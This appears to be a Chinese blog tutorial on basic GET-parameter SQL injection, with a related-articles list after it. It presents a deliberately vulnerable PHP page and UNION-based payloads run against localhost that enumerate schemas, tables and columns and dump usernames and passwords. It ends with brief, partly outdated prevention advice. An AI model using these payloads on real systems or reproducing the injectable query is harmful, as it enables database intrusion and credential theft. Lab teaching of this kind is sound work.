sql_injection之基本get注入
1、代码篇
<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
$id=$_GET['id'];
echo "你当前输入id:".$id."<br>";
$sql="select * from user where id='$id' limit 0,1";
$res=mysql_query($sql);
$row=mysql_fetch_array($res);
if($row){
echo "你获取的数据:<br>";
echo "id:".$row['id']."<br>";
echo "username:".$row['username']."<br>";
echo "password:".$row['password']."<br>";
}
else{
echo "mysql_query error".mssql_error();
}
}
else{
echo "请输入id";
}
?>
2、注入篇
http://localhost/pentest/sql/sql_get_id.php?id=1
你当前输入id:1
你获取的数据:
id:1
username:admin
password:pass
构造sql注入语句:
http://localhost/pentest/sql/sql_get_id.php?id=1' --+
你当前输入id:1' --
你获取的数据:
id:1
username:admin
password:pass
我们就可以进行各种各样的查询
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select @@datadir,database(),version() --+
你当前输入id:1' and 1=2 union select @@datadir,database(),version() --
你获取的数据:
id:D:\wamp\bin\mysql\mysql5.5.20\data\
username:bloodzero
password:5.5.20-log
这里我解释一下,and 1=2 的目的是为了不执行前面的查询语句,而执行后面的查询语句;


好了,我们继续进行注入;获取了一定的信息以后就需要密码和用户名;
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select current_user(),2,3 --+
你当前输入id:1' and 1=2 union select current_user(),2,3 --
你获取的数据:
id:root@localhost
username:2
password:3
注:有的时候拿到了高权限的账号,可以直接进行提权,详细请关注后续;
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --+
你当前输入id:1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --
你获取的数据:
id:information_schema
username:2
password:3 注:我们可以通过改变limit 0,1的值来获取不同的值;
limit m,n
m:表示从查询结果的第几条开始取;
n:表示取多少条;
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --+
你当前输入id:1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --
你获取的数据:
id:user
username:2
password:3
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --+
你当前输入id:1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --
你获取的数据:
id:id
username:2
password:3 注:这里的表名如果执行不成功,可以更换为16进制
附:小葵转换工具 提取码:yisi
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select id,username,password from user limit 0,1 --+
你当前输入id:1' and 1=2 union select id,username,password from user limit 0,1 --
你获取的数据:
id:1
username:admin
password:pass
3、防注入
对于php+mysql防注入:首先将magic_quotes_off的值设为On;
int型
<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
$id=$_GET['id'];
$id=intval($id);
echo "你当前输入id:".$id."<br>";
$sql="select * from user where id='$id' limit 0,1";
……
?>
char型
<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
$id=$_GET['id'];
$id=intval($id);
/*
$search=addslashes($search);
$search=str_replace(“_”,”\_”,$search); #过滤_
$search=str_replace(“%”,”\%”,$search); #过滤%
*/
echo "你当前输入id:".$id."<br>";
$sql="select * from user where id='$id' limit 0,1";
$res=mysql_query($sql);
……
?>
sql_injection之基本get注入的更多相关文章
- sql_injection之post注入
1.代码篇 </html> <center> <form action="#" method="post"> 姓名:< ...
- 另类的SQL注入方法
前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/ ...
- 利用insert,update和delete注入获取数据
0x00 简介 利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的.那么,当我们发现了一个基于i ...
- SQL 注入防御方法总结
SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入可以参见:https://en.wikipedia.org/wiki/SQL_injection S ...
- ModSecurity SQL注入攻击
ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...
- SQL注入攻击技巧总结
0×01 你要知道目前有哪些数据库 微软公司旗下的: Microsoft SQL server 简称 MS-SQL 或者 SQL SERVER (大型数据库操作,功能和性能异常强大)(一般也是ASP或 ...
- PHP防止SQL注入与几种正则表达式讲解
注入漏洞代码和分析 代码如下: <?php function customerror($errno, $errstr, $errfile, $errline) { echo <b& ...
- 防御SQL注入的方法总结
这篇文章主要讲解了防御SQL注入的方法,介绍了什么是注入,注入的原因是什么,以及如何防御,需要的朋友可以参考下 SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难 ...
- PHP防SQL注入攻击
PHP防SQL注入攻击 收藏 没有太多的过滤,主要是针对php和mysql的组合. 一般性的防注入,只要使用php的 addslashes 函数就可以了. 以下是一段copy来的代码: PHP代码 $ ...
随机推荐
- Mysql 错误相关
有几天没启动本地的 MySQL 了,今天打开小海豚,直接给我弹出了连接失败,这是怎么回事,就直接进入命令行,发现也有问题,输入密码后一闪而过,也没有什么提示信息给我,百度了先,都说是修改 MySQL ...
- Angular中ui-select的使用
Angular中ui-select的使用 最近工作一直很忙,没有时间整理知识,前几天项目中需要用到angular-ui-select,实现下拉框快速过滤效果,今天有时间研究了一下,终于搞明白了. 一. ...
- 【比赛】NOIP2017 奶酪
开始看到题以为是计算几何,后面发现不是,然后秒掉了. 可能写SPFA写多了,别人都是并查集做的,我用的是SPFA. 不过无所谓,我们把题目中的下底面和上表面看成两个点,那么就是求这两个点的连通性,如果 ...
- 【python】爬虫实践
参考链接 https://blog.csdn.net/u012662731/article/details/78537432 详解 python3 urllib https://www.jianshu ...
- Beta 完结撒花 —— 事后诸葛亮
写在前面 林燊大哥 团队成员 短学号 名 2325 燊(队长) 1232 志豪 1131 喜源 2523 宏岩 2230 恺翔 2509 钧昊 2507 俞辛 2501 宇航 2502 柏涛 项目宣传 ...
- Hive权限管理
最近遇到一个hive权限的问题,先简单记录一下,目前自己的理解不一定对,后续根据自己的理解程度更新 一.hive用户的概念 hive本身没有创建用户的命令,hive的用户就是Linux用户,若当前是用 ...
- bzoj 4332:JSOI2012 分零食
描述 这里是欢乐的进香河,这里是欢乐的幼儿园. 今天是2月14日,星期二.在这个特殊的日子里,老师带着同学们欢乐地跳着,笑着.校长从幼儿园旁边的小吃店买了大量的零食决定分给同学们.听到这个消息,所有同 ...
- [BZOJ1878][SDOI2009] HH的项链 (树状数组)
link 一道简单题. 不用可持久化. 对于统计颜色个数,可以看与其颜色一样的前一个位置. 设$las(i)$表示其与$i$颜色相等的上一个位置. 则对于二元组$(l,r)$,其答案为$\sum_{i ...
- 【2018北京集训(六)】Lcm
Portal --> 出错啦qwq(好吧其实是没有) Description 给定两个正整数\(n,k\),选择一些互不相同的正整数,满足这些数的最小公倍数恰好为\(n\),并且这些数的和为\( ...
- CentOS 6.5下Squid代理服务器的安装与配置
1.1 缓存代理概述 作为应用层的代理服务器软件,squid主要提供缓存加速,应用层过滤控制的功能. 1. 代理的工作机制 当客户机通过代理来请求web页面时,指定的代理服务器会先检查自己的缓存 ...